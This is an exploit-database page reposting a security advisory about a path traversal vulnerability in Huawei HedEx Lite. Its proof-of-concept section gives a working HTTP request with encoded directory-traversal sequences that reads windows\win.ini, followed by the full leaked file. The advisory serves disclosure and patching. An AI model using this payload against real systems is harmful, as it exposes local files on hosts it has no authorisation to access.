Advertisement






Huawei HedEx Lite (DM) Path Traversal

CVE Category Price Severity
CVE-2021-13210 CWE-22 $2,500 High
Author Risk Exploitation Type Date
Unknown High Remote 2020-12-04
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020120032

Below is a copy:

Huawei HedEx Lite (DM) Path Traversal
Document Title:
===============
Huawei HedEx Lite (DM) - Path Traversal Web Vulnerability 


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2268


Release Date:
=============
2020-11-24


Vulnerability Laboratory ID (VL-ID):
====================================
2268


Common Vulnerability Scoring System:
====================================
7


Vulnerability Class:
====================
Directory- or Path-Traversal


Current Estimated Price:
========================
3.000 - 4.000


Product & Service Introduction:
===============================
https://support.huawei.com/carrier/docview!docview?nid=SCL1000005027&path=PAN-ET/PAN-T/PAN-T-HedEx


Abstract Advisory Information:
==============================
A vulnerability laboratory core team researcher discovered a path traversal vulnerability in the Huawei HedEx Lite v200R006C00SPC005.


Vulnerability Disclosure Timeline:
==================================
2020-11-24: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Restricted Authentication (User Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
An exploitable path traversal vulnerability has been discovered in the official Huawei HedEx Lite v200R006C00SPC005.
Attackers can able to request local files or resources by remote requesting to unauthorized change a local path.


Proof of Concept (PoC):
=======================
The path traversal vulnerability can be exploited by remote attackers with restricted system user privileges wihtout user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Vulnerable File(s):
./newOtherManageContent.cgi [URL Path Filename]
./newStartupHedExBeeAction.cgi [URL Path Filename]
./newprehomeadvsearch.cgi [URL Path Filename]


--- PoC Session Logs [POST Method Request] ---
URL: http://localhost:7890/newOtherManageContent.cgi/................................windowswin.ini
Path: /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini HTTP/1.1
Host: localhost:7890
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://localhost:7890/newindex.cgi
Connection: close
Content-Length: 0


 --- PoC Session Logs [Response] ---
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="win.ini"
Content-Length: 1801
Content-Type: application/octet-stream;charset=utf-8
X-Frame-Options: SAMEORIGIN
-
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
CMCDLLNAME32=mapi32.dll
CMC=1
MAPIX=1
MAPIXVER=1.0.0.1
OLEMessaging=1
[MCI Extensions.BAK]
3g2=MPEGVideo
3gp=MPEGVideo
3gp2=MPEGVideo
3gpp=MPEGVideo
aac=MPEGVideo
adt=MPEGVideo
adts=MPEGVideo
m2t=MPEGVideo
m2ts=MPEGVideo
m2v=MPEGVideo
m4a=MPEGVideo
m4v=MPEGVideo
mod=MPEGVideo
mov=MPEGVideo
mp4=MPEGVideo
mp4v=MPEGVideo
mts=MPEGVideo
ts=MPEGVideo
tts=MPEGVideo
[Drivers.32]
OLEMessaging.64=$80,$5D,$D9,$A6,$A4,$18,$A8,$AD
[ChannelDownmixer]
p1.bIsMultichannel=0
p1.wFormatTag=1
p1.nChannels=2
p1.dwChannelMask=63
p1.wBitsPerSample=16
p1.RequiredInputBitDepth=0
p1.bRequireInputNumberOfChannels=0
p1.RequiredInputNumberOfChannels=6
p1.bRequireInputSamplerate=0
p1.RequiredInputSamplerate=48000
p1.bRaiseMeritAndSingleInstance=1
p2.InputEnableBitmask=-1
p2.OutputEnableBitmask=-1
p2.bEnableInputGains=0
p2.bEnableOutputGains=0
p2.bEnableMasterVolume=0
p2.MasterVolumeGain=100
p2.I.FL=100
p2.I.FR=100
p2.I.FC=100
p2.I.LF=100
p2.I.BL=100
p2.I.BR=100
p2.I.FLC=100
p2.I.FRC=100
p2.I.BC=100
p2.I.SL=100
p2.I.SR=100
p2.I.TC=100
p2.I.TFL=100
p2.I.TFC=100
p2.I.TFR=100
p2.I.TBL=100
p2.I.TBC=100
p2.I.TBR=100
p2.I.bJoinFLFR=1
p2.I.bJoinBLBR=1
p2.I.bJoinFLCFRC=1
p2.I.bJoinSLSR=1
p2.I.bJoinTFLTFR=1
p2.I.bJoinTBLTBR=1
p2.O.FL=100
p2.O.FR=100
p2.O.FC=100
p2.O.LF=100
p2.O.BL=100
p2.O.BR=100
p2.O.FLC=100
p2.O.FRC=100
p2.O.BC=100
p2.O.SL=100
p2.O.SR=100
p2.O.TC=100
p2.O.TFL=100
p2.O.TFC=100
p2.O.TFR=100
p2.O.TBL=100
p2.O.TBC=100
p2.O.TBR=100
p2.O.bJoinFLFR=1
p2.O.bJoinBLBR=1
p2.O.bJoinFLCFRC=1
p2.O.bJoinSLSR=1
p2.O.bJoinTFLTFR=1
p2.O.bJoinTBLTBR=1
p3.bCustomMixMatrix=0
CustomMixMatrixFilename=
LastRegisteredVersion=20000


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by setting restricted accessable paths.  A whitelist or static paths configuration can be combined.
An update is available on the huawei website provided by the manufacturer of the application via customer portal.


Security Risk:
==============
The security risk of the path traversal web vulnerability in the download manager software is estimated as high.


Credits & Authors:
==================
S.AbenMassaoud [Research Team] - https://www.vulnerability-lab.com/show.php?user=S.AbenMassaoud


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab 
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits 
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do 
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.comwww.vuln-lab.comwww.vulnerability-db.com
Services:   magazine.vulnerability-lab.compaste.vulnerability-db.com infosec.vulnerability-db.com
Social:    twitter.com/vuln_labfacebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds:    vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php vulnerability-lab.com/register.php  vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other 
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or 
edit our material contact (admin@ or research@) to get a ask permission.

    Copyright  2020 | Vulnerability Laboratory - [Evolution Security GmbH]

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum